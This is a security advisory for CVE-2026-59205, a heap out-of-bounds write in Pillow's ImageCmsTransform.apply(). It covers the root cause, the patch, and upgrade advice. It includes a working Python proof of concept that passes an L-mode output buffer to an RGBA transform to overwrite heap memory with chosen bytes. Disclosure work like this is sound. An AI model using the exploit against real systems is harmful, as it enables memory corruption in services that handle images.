CVE-2026-59205: Pillow Controlled Heap Out-of-Bounds Write in ImageCmsTransform.apply()
Pillow's color-profile transform API writes far more bytes than an output image buffer can hold when the output image's pixel mode does not match the transform's declared output mode, corrupting the…
The problem
ImageCmsTransform.apply() accepts a caller-supplied output image (imOut) but does not verify that imOut.mode matches the transform's declared output mode before passing both image buffers into the native LittleCMS C extension.
The C layer (pyCMSdoTransform) only checks that output dimensions are large enough, then calls cmsDoTransform() row by row. Because findLCMStype() maps RGBA to TYPE_RGBA_8 (4 bytes per pixel), LittleCMS writes 4 * width bytes per row into an L-mode output that only allocated 1 * width bytes, overflowing the heap by up to 3x the row size.
Source pixel values are written directly out-of-bounds, giving an attacker byte-level control over what is written past the allocation.
Proof of concept
A working proof-of-concept for CVE-2026-59205 in pillow, with the exact payload below.
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
# Input: RGBA image; output: L image (1 byte/px instead of 4 bytes/px)
# LittleCMS writes 4*8 = 32 bytes into an 8-byte heap row -> heap corruption
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
# Expected output:
# before
# after
# free(): invalid next size (normal)
# Aborted (core dumped)
#
# Controlled-overwrite variant (width 4096, attacker bytes 0x41424344 in heap):
im2 = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out2 = Image.new("L", (4096, 1), 0)
transform.apply(im2, out2)
# GDB shows fault at ptr 0x4443424144434241 (ABCDABCD LE) -> controlled writeThe root cause is a missing mode validation in the Python layer of ImageCmsTransform.apply(). The apply_in_place() sibling correctly checks im.mode != self.output_mode and raises ValueError, but apply() with an explicit imOut argument had no equivalent guard.
The C extension trusts the Python layer to hand it correctly typed images. cmsDoTransform() uses the LittleCMS type descriptor baked into the transform (TYPE_RGBA_8, 4 bytes per pixel for RGBA) regardless of what the output Imaging struct's actual stride is. Passing a 1-byte-per-pixel L buffer causes every row write to overflow by exactly (output_bpp - 1) * width bytes, and because those bytes come directly from the RGBA source pixels, the content of the overwrite is attacker-controlled (CWE-787).
The patch (commit a9ffc42) adds two mode checks in apply(): it raises ValueError if im.mode != self.input_mode and, when imOut is provided, if imOut.mode != self.output_mode, preventing the mismatched buffers from ever reaching the C layer.
The fix
Upgrade to Pillow 12.3.0. The fix adds explicit mode validation at the Python level inside ImageCmsTransform.apply() before any native call is made. Pin to pillow>=12.3.0 in your dependencies. If you expose ImageCms transform functionality to untrusted callers, audit whether they can supply an arbitrary imOut object.
Related research
- highCVE-2026-54058CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-54059CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-54060CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass